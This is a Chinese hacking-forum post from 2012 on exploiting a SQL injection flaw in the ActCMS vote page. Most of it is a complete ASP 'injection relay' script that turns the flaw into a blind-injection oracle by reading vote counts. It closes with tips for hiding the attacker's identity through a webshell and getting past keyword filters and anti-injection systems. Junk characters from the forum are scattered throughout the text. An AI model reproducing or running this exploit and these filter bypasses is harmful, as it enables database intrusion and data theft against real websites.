找回密码
 立即注册
查看: 2962|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

+ S! {4 M5 @( R+ c* i0 a看到ninty大牛的blog的一篇文章
* T1 P" W' \# ?链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
: [: w2 s' G' F; x: y  S. k关于actcms漏洞的利用  by 3x qq:3818625895 c/ J0 d! r5 V7 |" v1 S3 v
转载请注明以上! b+ h. l0 W( a7 C! q6 ?- [
漏洞文件:
7 e' u9 U3 X9 M/plus/vote/vote.asp
6 m) d9 D- {( m- k4 B; C代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    2 I8 y. ?5 _9 c

& K* k9 m/ h: O( A, M- I+ S2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   5 @  i( |' E# a& f5 |$ B0 F' s" @
7 a# N2 z/ n: i2 ]8 y8 g, H' o2 M$ [
3    response.end    . I1 }, W7 e* @3 N* I
2 B) S) o( i. z
4    end if   
2 x& j) K' a5 j
9 O# C0 v/ M$ U6 U5    for i=1 to request("voted").count   
# ]8 E6 t% V1 z2 t8 h: {9 t- Q! x9 K1 U1 c% q6 N$ C( y* P
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
% Z, E& W% Z% D' L* e% g9 r7 ~. g4 R. j- _
7    next    ) ]7 y. j  `" p& [+ g) M
4 s+ n' r4 a' C6 }5 W: d
8....   
2 H9 z8 V5 [' L' r% i1 l. ~% b% ?3 |1 u4 S; ]$ Z: _" [
9response.Redirect "index.asp?id="&id&""   
- V5 q! `' ]& N3 E" A投票结束回跳转回index.asp这个投票结果页面. H- m3 h! k; G9 `) s) d' O
如果投票成功票数加1
8 ^3 K: _: \5 Z$ Z7 t            失败票数不变
* `9 ~* w' i! O0 Q4 C如图:1 q  }: }- _8 V* n- S5 T
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)- t* ~" W: U# z# ?, u
5 D8 k4 v7 n% {. }; g+ ^
2009-12-27 13:20
4 F, Q2 d" C* e8 ]# t. o
- ~7 v4 ]: C3 V3 b* @利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
3 C6 b- `/ i6 G. d9 f6 C
# g, ]$ S& z& e本帖隐藏的内容需要回复才可以浏览$ l+ U: }& A* ?5 {7 z
我们用注入中转来实现这个注入具体代码如下:" m. X" M4 q: N0 L
先用寂寞的刺猬大牛的注入中转生成jmget.asp$ e8 k! V; E8 Q) ?
注入地址:http://localhost/actcms/plus/vote/vote.asp1 F* V9 [1 e, X- n
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项+ B  v: R( y8 L. |
; s* }! y; z( C" ^
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% + b- X" b2 O% o- Z" Z3 p* ~; H( Z3 Z

( L8 l, A7 K) x1 T02JmdcwName=request("jmdcw")
' R. g0 D2 e- ~7 Y6 {# |7 C! C( l1 ^+ [0 g2 F( ~- w
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
: i0 Z, |5 ~7 t# n. C1 d7 d' h5 Q+ p/ G9 e4 r
04JmStr="id=1&voted=-1 or 1="&JmdcwName
$ R* |$ X/ X$ B4 Q9 W5 o( T& S; w2 X' z$ a  @' V
05JmStr=URLEncoding(JmStr)
3 c2 `& a4 w* `7 [8 }2 Q9 ~6 }* h5 D
6 P1 l& V/ k  [8 M- {$ M06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"4 e8 E$ V6 _7 ?7 w3 c5 q
9 B  c0 V) Y9 j7 x2 w
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"+ X1 G$ v1 d) V, j8 x

, W6 [4 q1 t9 O" B; P08testurl=testurl & "?" & JmStr
0 u/ t  d" l+ ]/ n) {
6 n9 L9 G1 }1 Y/ c/ y09JMUrl=JMUrl & "?" & JmStr 6 q+ ^2 q  l% U4 A5 ?
) {6 \, O( V5 H
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
* k$ T- c$ }/ Z6 b" K
- O& P! K& D; ~& U11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"+ V) w4 `3 F- a9 S9 ^# Z

3 p1 d( ]5 r  _+ u12JmCok=replace(JmCok,chr(32),"%20")  2 J- u2 D8 |% b6 S# S
( h% ?  m( F8 h9 i
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 2 P. S5 l) J4 \2 V3 B4 n! z
: q8 c1 U! C; j
14  0 X9 e4 E4 u; Q+ L; P: K

- N- @& L/ X5 @1 ]% ?15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
* U9 x  S) w3 M# d6 o( @5 @9 u
# x/ P0 f2 N! e$ i. D  |, E16  / ]: Z) i: W6 b% v" g% d: q
8 f8 U. L# n8 l: u- e, @$ w" m
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 7 b. A0 D$ }8 [; N9 A7 e7 [8 B9 \

1 @( M* `) S2 G! k18response.write test1&""&test2&""
8 x5 `- T2 W( a8 t) b7 s) D, J, _( L9 T/ u4 i8 x4 q
19  1 i: p4 f* U8 n& m$ t
  [& X- ^, _- ^/ E
20if test1=test2 then '如前后记录相等,表示失败
/ ?: Y0 n# r% J# D5 w
; Y' K2 L) Z9 s, m4 [1 h21  response.write "failed"- T* C; D3 V/ W6 ^! U. x
* Q# i* Q- O( u' Y/ o
22else
) }- L# X( N! l- M; E
6 D9 g! h2 c, {. _& y  V23  response.write "succeed"! v4 O, j  D" }+ G' g* G+ i5 A

+ {2 _; Y9 x* A! C* D3 Q. z3 L% |. u! O24end if  
% {( z: U1 L9 x" T* s
0 P& M2 l+ F. {, k2 \+ E25  
* i% D0 A8 E3 J, Z
" Y- l! n9 Q# w3 R; D* n26response.write "by 3x"
) c. e9 r) F+ B! v& U6 V0 u' z) D
27  
) V4 A) ]$ U  t' c0 R. M3 z. f# [$ @
28  
/ E+ r8 o/ |) V% }9 T" J8 A# H- y* m/ f8 O( `2 u
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
3 W$ z; g( l8 m; N. b: U
4 Q' _% I- L5 v9 N5 L/ x- O30Dim Http * ^6 Q  R4 ^9 q4 M! ^$ z8 H

! g7 m9 a! P- A9 }4 }31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 7 ~6 W1 G+ A1 h3 F1 H6 F

" q, [0 H+ z% Z3 P' y/ O. K4 y32With Http
4 O1 i9 [$ I( C: [. x; H6 s& {
# i4 e0 d9 B4 u' a) M. y33  $ `/ T( t5 A9 j; P: t3 s' h3 q
2 J* [% F4 m8 m! e9 L& k1 C3 `4 v
34.Open "GET",PostUrl,False
' u0 B  U. Y9 X" O3 Q. H# C2 N( w# J- J) k3 w: L
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"$ a" w) v; t! r( \* d" s) o# |2 l

$ ?+ A6 @7 w/ k+ }) n. u36.SetRequestHeader "Referer",PostRef : I; [" H0 g; O6 d" O
) B" y- W0 b, `/ S4 R- o6 o
37.SetRequestHeader "Cookie",PostCok 7 i6 x* }, ^4 F

0 o. U7 c. i. t0 D+ J6 L& X38.Send () 9 E& W( m3 u$ u/ S! e
  I: D$ V/ I: i4 A" J
39PostData = .ResponseBody + ^" i$ V$ F: o% D- K/ ?$ y+ V

( t; w& ^4 g* y7 t1 b2 w  ?2 v! i40End With
( A/ {( G8 B" ]# x2 Q9 }7 W$ Z5 I9 s, C' {
41Set Http = Nothing
0 B! n% h4 ]7 g* v! R" z7 b
$ G1 P- k/ N6 p* I# T42PostData =bytes2BSTR(PostData)
5 a7 g3 W4 o. a7 \* U3 H# b( P
3 {2 Q; `+ |1 o  H  I3 \43End Function. t  I1 _: V9 K
9 t) d" J0 Q+ U& H" k2 J7 V0 s% m
44  
- S! R3 B9 Q6 Q! ?7 P
( |# F/ m  l  }3 v; v* j: K45  8 U+ x4 t) P! t
7 R- w- L9 ~4 z- ]+ n/ W; p# U
46Function bytes2BSTR(vIn)
+ S# Q4 [% P; C# {: C, _6 t& [; @5 S9 ]
47Dim strReturn 0 q. G; d+ L* e. p* L" Q3 I
3 K/ ]! a9 L" t
48Dim I, ThisCharCode, NextCharCode
' X: `8 d  u& y4 Q# F# z& ^6 `- F: w% M' }4 t. R/ _
49strReturn = ""  R! Z; g) W; W- {0 |& x9 P
7 |$ ?2 O3 {' ]
50For I = 1 To LenB(vIn)
# K) e$ U5 s$ m' G5 T+ `% d/ k1 D" d5 x+ n- ]* b
51ThisCharCode = AscB(MidB(vIn, I, 1))
. q, {. m! `' B& d' v' t4 b3 z/ }8 A+ s; P1 i7 a
52If ThisCharCode < &H80 Then9 M' P  c' \: Y" q: o

* k: {( u/ ^0 q% \+ v. W, h53strReturn = strReturn & Chr(ThisCharCode)
9 c3 L. c. L* @& I# E. U" B
, N6 s! d! `5 n  J( o* q: A54Else# f: U3 D0 X; H$ l0 y
& h; A. C: D; \- c% O5 J* {% o
55NextCharCode = AscB(MidB(vIn, I + 1, 1))   v9 K& M# {% y) y

3 w/ j( N" S9 a3 R7 K56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
# n: T: C, A# m5 T& {8 w% l3 K5 X  h$ U4 D$ ^0 E/ R; @
57I = I + 1 7 S# ~7 a, J5 O: v$ p" d

' \' f& s+ ~5 v. `58End If
1 k) O  n9 `8 a; V5 k' u( I% h6 X  l
59Next
9 x" x* W2 ^3 _) J, s( A
9 s( `: T; s1 K  I8 q0 c2 e60bytes2BSTR = strReturn
; ?5 O+ D) r8 y/ Q* t7 T! r0 ?9 d! ^; \; u! B
61End Function& s' `; U: Z4 o4 ]" V$ ^
) r2 k5 O) L0 E: I: P& L* j. g
62  2 T3 v, Z8 E8 B6 x
, c" Z3 I5 O7 s
63Function URLEncoding(vstrin)  3 J; D9 }- Z  i3 O

2 O$ N& F: t  R) t4 J; w; Y# \64strReturn=""$ l( d6 ?0 T' c* N" V
5 y- F" O& @& O. p, Y) S% [9 G: b
65Dim i $ M9 Z2 G# m. M

0 I. X1 E6 I9 W& _% L66For i=1 To Len(vstrin)
4 o! U+ z. m4 p' u4 W7 O+ M) t' h& r8 x
67ThisChr=Mid(vstrin,i,1) ; v4 n, Y1 D5 X3 X8 {+ |* p0 F
) I) X" l' p+ ^2 a0 f: w( l
68if Abs(Asc(ThisChr))< &HFF Then- Q% f4 P! h6 a3 P% L: D

+ _# y, A6 ]- A# L69strReturn=strReturn & ThisChr
5 I5 f  H5 M9 S# T6 u+ {3 l8 w) I1 j$ k* i
70Else, N* B: W4 z% H5 @0 A/ f0 i

2 x$ o& Z! T- z; W( G" W71InnerCode=Asc(ThisChr)
% u" d6 s  O5 {0 a; B$ V* ^- y& H% E8 ]/ a
72If InnerCode<0 Then: C8 d9 k1 Q: S2 \; a2 `7 c
- }) L4 v3 R& k9 X6 K: \8 C1 B, l
73InnerCode=InnerCode + &H10000
$ c: m  w: q3 E$ u" O: f  b9 C. i" N8 V2 {3 w* L1 C& p, O
74End If0 f9 r2 k7 c& n( s5 ?, L! `
' i$ o2 x7 m, \/ d8 r
75Hight1=(InnerCode And &HFF00) \&HFF 8 ~6 V2 t  |6 k

9 l1 c7 c' H) x$ `76Low1=InnerCode And &HFF
0 V- z; P$ M( v; ~/ X
2 q: b6 ?2 y6 ?3 Y* N77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) + ~% R3 Z5 P7 i8 M0 J
+ N3 h1 V( V6 W$ y
78End if
3 k2 M. A1 P+ X, B$ ?" C; V) W
3 n2 [4 t# |8 ~& g9 Q4 U79Next9 u+ B& W) \/ V' Y+ m3 s, S
5 H7 ^9 n/ R$ ]* m) q* C, l; O
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
& Z5 A4 A7 A: b
" K6 i$ G7 |4 E# o6 l81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
$ N  R  f0 P. e& o: j
1 k% Q: A4 w1 l; i% D& u82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 ; E  e; y0 m$ V$ b5 X4 ^

1 l, u6 P6 p" C7 q( Q0 G83URLEncoding=strReturn 1 J2 r: {* P* E+ @  |
8 t& K$ C, D2 r
84End Function
$ H9 T& `. R$ w3 `& l/ @  B/ s
' z. u8 N! S' t85  2 G" x* K/ T% ^& w) l
* O5 e' I7 k; w7 k4 R/ |
86function getSt(body)
' A7 P6 n' W. m& r; f- H) g/ ~$ g0 R. T, }; R5 a
87  startpot=instr(body,"投票人数:")+len("投票人数:")
* {+ n# v+ n3 \
& @8 b! B) n0 B/ x; g1 e: X88  endpot=instr(startpot,body," ") 3 l* \# f$ w+ m/ y% t$ }
, C2 w( y' D2 t& A4 i9 o- x' X
89  getSt=mid(body,startpot,endpot-startpot)
+ b+ |+ ^/ P: V7 K6 ~; \- i: H' f1 ?7 @
90end function $ d; i# X3 m0 E* J& Z" H, e

" z3 B# J  G* I& F, c& a4 p- [91%>5 |4 }7 v2 C+ A6 ^$ R
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
9 z# A/ x* O5 l3 h测试下效果:, Q) z' E0 Y, A% a5 _/ B
投票成功:
# P, \9 v3 z, W, Hhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB); ~( z1 S6 J% M) O' O6 G
, q0 O; n5 \( ]0 P0 d  D' \) N
2009-12-27 13:29
/ Q* m4 E$ p" `4 f6 x* i' z投票失败
; c* l8 T5 a* i8 n, _) `  p6 b2 F. ~http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)5 k4 k3 U9 T. d( }- J2 q4 U6 N

% r: M" O4 T3 {! P6 \) e6 y2009-12-27 13:29
* ^* c' O5 X$ O: g* D4 P" d-------------------------------------------------------------------------------7 X4 [6 s4 k9 C3 E$ |2 k
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
& Q6 f$ m% W8 \3 N" [很抱歉。。。只能用单线程工具去注入。。。。。  a& Y5 n- L) f
所以失败。。。不好意思。。。! O% `- r' w9 \) a" v
-------------------------------------------------------------------------------7 y( x1 A+ J* c7 ]4 I; X2 M+ c! a

/ `& k$ }* [# G" c1 t注入中转的一些其他应用5 F6 S5 _1 G; Q( \
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了1 I  U) z& p( g
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
7 W/ o1 m. M  j1 l% U; l2.post注入转成get型的注入,方便我们使用工具来跑- s2 g" g, r% z* {$ |- z$ e+ ~1 r
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")# B' l# K+ \0 T* E
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
. ?- D8 ?$ x6 s  @: }' h8 u
4 p1 {% @* V* r1 z3 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表